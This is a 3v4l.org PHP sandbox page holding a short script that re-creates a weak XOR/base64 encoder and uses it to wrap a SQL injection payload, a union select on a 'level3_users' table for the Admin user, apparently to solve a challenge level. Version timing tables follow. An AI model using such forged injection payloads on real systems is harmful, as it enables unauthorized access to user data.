3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,3,4,name from level3_users where user='Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0080.00818.56
8.3.50.0090.01222.11
8.3.40.0070.00718.55
8.3.30.0140.00018.95
8.3.20.0000.00820.33
8.3.10.0000.00821.92
8.3.00.0040.00422.43
8.2.180.0090.00916.50
8.2.170.0110.00322.96
8.2.160.0100.00320.43
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0090.00019.38
8.2.110.0040.00422.25
8.2.100.0040.00817.91
8.2.90.0000.00719.22
8.2.80.0000.00817.97
8.2.70.0080.00317.50
8.2.60.0000.00818.05
8.2.50.0000.00818.07
8.2.40.0000.00918.34
8.2.30.0000.00718.23
8.2.20.0040.00417.64
8.2.10.0080.00019.58
8.2.00.0080.00017.78
8.1.280.0110.01125.92
8.1.270.0000.00822.09
8.1.260.0000.00726.35
8.1.250.0080.00028.09
8.1.240.0030.00623.78
8.1.230.0060.00618.97
8.1.220.0000.00917.80
8.1.210.0040.00418.77
8.1.200.0030.00717.25
8.1.190.0000.00817.54
8.1.180.0040.00418.10
8.1.170.0040.00418.53
8.1.160.0030.00722.00
8.1.150.0030.00518.66
8.1.140.0040.00417.43
8.1.130.0030.00317.77
8.1.120.0020.00517.36
8.1.110.0040.00417.34
8.1.100.0000.00717.40
8.1.90.0080.00017.49
8.1.80.0000.00717.34
8.1.70.0000.00717.45
8.1.60.0070.00317.68
8.1.50.0030.00517.56
8.1.40.0070.00017.41
8.1.30.0000.00817.55
8.1.20.0060.00317.54
8.1.10.0030.00617.42
8.1.00.0040.00417.48
8.0.300.0040.00418.77
8.0.290.0000.00817.17
8.0.280.0040.00418.37
8.0.270.0050.00217.32
8.0.260.0000.00716.75
8.0.250.0070.00016.98
8.0.240.0030.00717.00
8.0.230.0040.00317.02
8.0.220.0040.00416.95
8.0.210.0000.00716.97
8.0.200.0050.00217.04
8.0.190.0070.00016.86
8.0.180.0000.00716.91
8.0.170.0070.00016.97
8.0.160.0050.00216.76
8.0.150.0000.00816.92
8.0.140.0050.00216.79
8.0.130.0030.00313.34
8.0.120.0000.00816.92
8.0.110.0040.00416.85
8.0.100.0050.00216.92
8.0.90.0000.00817.00
8.0.80.0090.00616.93
8.0.70.0000.00716.73
8.0.60.0040.00416.88
8.0.50.0070.00016.82
8.0.30.0150.00717.07
8.0.20.0070.01317.40
8.0.10.0000.00716.94
8.0.00.0090.00916.66
7.4.330.0050.00015.08
7.4.320.0030.00316.59
7.4.300.0030.00316.62
7.4.290.0030.00316.57
7.4.280.0040.00216.54
7.4.270.0040.00416.60
7.4.260.0030.00316.61
7.4.250.0030.00616.52
7.4.240.0000.00716.50
7.4.230.0000.00716.75
7.4.220.0070.01016.60
7.4.210.0040.01016.60
7.4.200.0000.00716.60
7.4.190.0070.00016.79
7.4.160.0060.01016.70
7.4.150.0060.01217.40
7.4.140.0080.01217.86
7.4.130.0100.00616.58
7.4.120.0070.01116.49
7.4.110.0070.01816.54
7.4.100.0130.00716.55
7.4.90.0100.00716.59
7.4.80.0090.00919.39
7.4.70.0130.00716.45
7.4.60.0100.00716.46
7.4.50.0080.00016.50
7.4.40.0000.01422.77
7.4.30.0040.01116.48
7.4.00.0030.01214.71
7.3.330.0070.00213.40
7.3.320.0000.00613.40
7.3.310.0000.00716.43
7.3.300.0030.00316.51
7.3.290.0040.01116.34
7.3.280.0060.01116.38
7.3.270.0210.00317.40
7.3.260.0130.00616.43
7.3.250.0060.01016.63
7.3.240.0070.01116.34
7.3.230.0100.00716.63
7.3.210.0100.01016.68
7.3.200.0030.01319.39
7.3.190.0100.01316.59
7.3.180.0060.00916.42
7.3.170.0040.01216.49
7.3.160.0120.00916.56
7.3.120.0110.00414.78
7.2.330.0130.00316.62
7.2.320.0120.00616.85
7.2.310.0120.01016.70
7.2.300.0140.00716.70
7.2.290.0080.01416.77
7.2.00.0080.00819.38
7.1.100.0070.01018.25
7.1.70.0050.00517.09
7.1.60.0110.01419.82
7.1.50.0060.01616.86
7.1.00.0100.07022.54
7.0.200.0050.00516.87
7.0.140.0000.07322.10
7.0.60.0070.08019.99
7.0.50.0030.07717.89
7.0.40.0200.03020.02
7.0.30.0200.05020.26
7.0.20.0230.07320.33
7.0.10.0300.07720.19
7.0.00.0130.04720.25
5.6.280.0030.07320.91
5.6.210.0200.06320.75
5.6.200.0070.08018.23
5.6.190.0100.08020.39
5.6.180.4100.04020.61
5.6.170.0470.06720.55
5.6.160.0170.07720.62
5.6.150.0100.07718.12
5.6.140.0100.03718.16
5.6.130.0070.04318.18
5.6.120.0100.08021.05
5.6.110.0100.08721.00
5.6.100.0170.06320.98
5.6.90.0270.07721.11
5.6.80.0130.07320.40
5.6.70.0400.06720.40
5.5.350.0070.08720.41
5.5.340.0030.07317.97
5.5.330.0170.06020.32
5.5.320.0230.08020.25
5.5.310.0470.07020.23
5.5.300.0030.08718.06
5.5.290.0100.08318.04
5.5.280.0130.04720.78
5.5.270.0070.08320.76
5.5.260.0100.03720.77
5.5.250.0100.08720.67
5.5.240.0070.08320.36
5.4.450.0270.04019.59
5.4.440.0700.05319.23
5.4.430.0170.05019.36
5.4.420.0030.06019.39
5.4.410.0300.05719.57
5.4.400.0900.00018.85
5.4.390.0830.00018.57
5.4.380.0300.05318.81
5.4.370.0170.05018.75
5.4.360.0170.05318.79
5.4.350.0230.05018.59
5.4.340.0130.05718.78
5.4.320.0060.04112.51
5.4.310.0030.04512.51
5.4.300.0070.03512.51
5.4.290.0070.04312.51
5.4.280.0070.03612.40
5.4.270.0170.06018.77
5.4.260.0170.07018.93
5.4.250.0230.07318.81
5.4.240.0270.06318.82
5.4.230.0130.05318.83
5.4.220.0070.06018.66
5.4.210.0130.04718.92
5.4.200.0230.05318.77
5.4.190.0270.05018.91
5.4.180.0130.07318.96
5.4.170.0130.04718.74
5.4.160.0100.07718.90
5.4.150.0130.07318.87
5.4.140.0230.03716.48
5.4.130.0100.05016.28
5.4.120.0130.06716.56
5.4.110.0200.05716.52
5.4.100.0130.06316.46
5.4.90.0100.06016.45
5.4.80.0130.05016.51
5.4.70.0070.05716.53
5.4.60.0230.03316.48
5.4.50.0170.04716.46
5.4.40.0170.06716.65
5.4.30.0070.07016.38
5.4.20.0070.05316.50
5.4.10.0170.06716.49
5.4.00.0100.07015.80
5.3.290.0090.03612.80
5.3.280.0070.06014.69
5.3.270.0100.05314.70
5.3.260.0030.08714.69
5.3.250.0100.06314.44
5.3.240.0130.05014.79
5.3.230.0200.06714.79
5.3.220.0130.05714.55
5.3.210.0070.05714.56
5.3.200.0100.07714.66
5.3.190.0300.04714.71
5.3.180.0130.06314.55
5.3.170.0130.07014.59
5.3.160.0100.07314.64
5.3.150.0070.05714.57
5.3.140.0100.06314.39
5.3.130.0130.05314.63
5.3.120.0070.08014.38
5.3.110.0070.07714.73
5.3.100.0230.04714.13
5.3.90.0100.07314.00
5.3.80.0130.07013.99
5.3.70.0070.06313.93
5.3.60.0070.05713.91
5.3.50.0070.05713.97
5.3.40.0230.05313.95
5.3.30.0170.05713.74
5.3.20.0070.07313.71
5.3.10.0170.05013.73
5.3.00.0170.06713.62
5.2.170.0030.06011.07
5.2.160.0100.06011.24
5.2.150.0030.05011.05
5.2.140.0030.07011.22
5.2.130.0130.03711.07
5.2.120.0100.04311.27
5.2.110.0100.04311.27
5.2.100.0130.05310.93
5.2.90.0070.04711.06
5.2.80.0100.06011.07
5.2.70.0100.03711.00
5.2.60.0100.05311.13
5.2.50.0130.04011.11
5.2.40.0100.05311.08
5.2.30.0300.02310.88
5.2.20.0170.03010.93
5.2.10.0070.05710.86
5.2.00.0070.05310.95
5.1.60.0130.04710.07
5.1.50.0070.03310.04
5.1.40.0100.04310.07
5.1.30.0030.03710.16
5.1.20.0030.04010.43
5.1.10.0030.04310.13
5.1.00.0130.03310.27
5.0.50.0000.0438.54
5.0.40.0070.0278.64
5.0.30.0000.0508.29
5.0.20.0070.0278.44
5.0.10.0030.0308.29
5.0.00.0130.0538.42
4.4.90.0070.0177.13
4.4.80.0030.0237.13
4.4.70.0030.0277.13
4.4.60.0000.0237.13
4.4.50.0070.0207.13
4.4.40.0030.0337.13
4.4.30.0070.0207.13
4.4.20.0030.0207.13
4.4.10.0070.0306.52
4.4.00.0000.0336.52
4.3.110.0030.0306.52
4.3.100.0070.0276.52
4.3.90.0000.0336.48
4.3.80.0030.0406.48
4.3.70.0070.0176.48
4.3.60.0030.0206.48
4.3.50.0030.0236.48
4.3.40.0070.0436.48
4.3.30.0000.0276.48
4.3.20.0000.0236.48
4.3.10.0030.0306.48
4.3.00.0000.0236.12

preferences:
37.43 ms | 401 KiB | 5 Q